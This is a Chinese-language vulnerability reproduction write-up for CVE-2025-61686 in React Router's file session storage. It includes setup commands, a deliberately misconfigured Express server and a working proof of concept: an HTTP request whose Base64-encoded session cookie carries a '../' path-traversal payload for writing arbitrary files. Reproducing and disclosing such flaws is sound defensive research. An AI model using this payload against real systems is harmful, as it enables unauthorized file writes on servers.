文章总结: 本文复现了ReactRouter因缺失安全签名导致的任意文件写入漏洞。攻击者利用Base64编码Cookie构造路径穿越,在未配置secrets的环境下实现文件写入。虽直接RCE受限,但可结合SSTI或覆盖配置构成威胁。建议生产环境必须启用secrets验证。 综合评分: 85 文章分类: 漏洞分析,漏洞POC,WEB安全
【安服水洞系列】React Router伪造 Cookie 即可实现任意文件写入
原创
小Tiamo 小Tiamo
貔瑞安全实验室
2026年1月20日 14:27 山东
前言:这是自己搭建环境复现的一个记录吧,等我复现完才发现网上有别人做的docker,早知道就先百度了/(ㄒoㄒ)/~~
触发条件
当应用开启文件存储且安全签名“裸奔”时,攻击者即可通过构造包含 ../ 的 Base64 编码 Cookie,实现任意路径的文件写入。
0x01 环境搭建
新建一个文件夹 cve-2025-61686-repro,写入环境需要的 server.json和安装环境
mkdir cve-2025-61686-repro
cd cve-2025-61686-repro
npm init -y
npm install @react-router/[email protected]
npm install express
nano server.js
node server.js
server.js
const express = require("express");
const { createFileSessionStorage } = require("@react-router/node");
const path = require("path");
const fs = require("fs");
const app = express();
const PORT = 15533;
const SESSIONS_DIR = path.join(__dirname, "sessions");
if (!fs.existsSync(SESSIONS_DIR)) fs.mkdirSync(SESSIONS_DIR);
// 核心漏洞配置:未设置 secrets
const storage = createFileSessionStorage({
dir: SESSIONS_DIR,
cookie: {
name: "__session",
httpOnly: true,
},
});
app.get("/", async (req, res) => {
try {
if (req.url === '/favicon.ico') return res.status(404).end();
// 1. 手动提取 Payload
const rawCookie = req.headers.cookie || "";
const match = rawCookie.match(/__session=([^;]+)/);
let idValue = match ? match[1] : "";
console.log(`[+] 捕获 Payload: ${idValue}`);
// 2. 【复现关键】模拟合法签名结构
// createFileSessionStorage 内部会尝试对 ID 执行 .slice()
// 我们通过在末尾强制补一个 "." 字符,模拟签名分隔符,确保 id 保持字符串类型
const session = await storage.getSession(`__session=${String(idValue)}`);
// 3. 触发写入逻辑
session.set("exploit", "CVE-2025-61686_SUCCESS");
session.set("tiamo", "pwned");
// commitSession 会将数据持久化到恶意路径
const setCookie = await storage.commitSession(session);
res.append("Set-Cookie", setCookie);
res.send("<h1>Exploit Processed Successfully</h1>");
console.log(`[!] 漏洞触发:已尝试在目标路径生成文件。`);
} catch (error) {
// 打印详细错误堆栈以确认执行流
console.error("[-] 捕获异常:", error.stack);
res.status(500).send("Error: " + error.message);
}
});
app.listen(PORT, () => {
console.log(`\n[+] 复现环境已就绪: http://localhost:${PORT}`);
console.log(`[!] 警告:此环境仅用于 CVE-2025-61686 授权测试。`);
});
0x02 利用POC
POC
Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3RtcC9jZXNoaS5qcyI= 是base64编码
GET / HTTP/1.1
Host: 192.168.2.132:15533
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: __session=Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3RtcC9jZXNoaS5qcyI=
验证POC
0x03 总结
该漏洞源于 secrets 缺失导致签名校验失效,使 Session ID 沦为路径穿越工具。虽因 JSON 格式污染难以直接 RCE,但可通过覆盖配置或结合 SSTI 构建攻击链,是典型的配置疏忽引发的底层安全风险。人话:个人感觉需要配合其他漏洞
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:貔瑞安全实验室 小Tiamo 小Tiamo《【安服水洞系列】React Router伪造 Cookie 即可实现任意文件写入》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论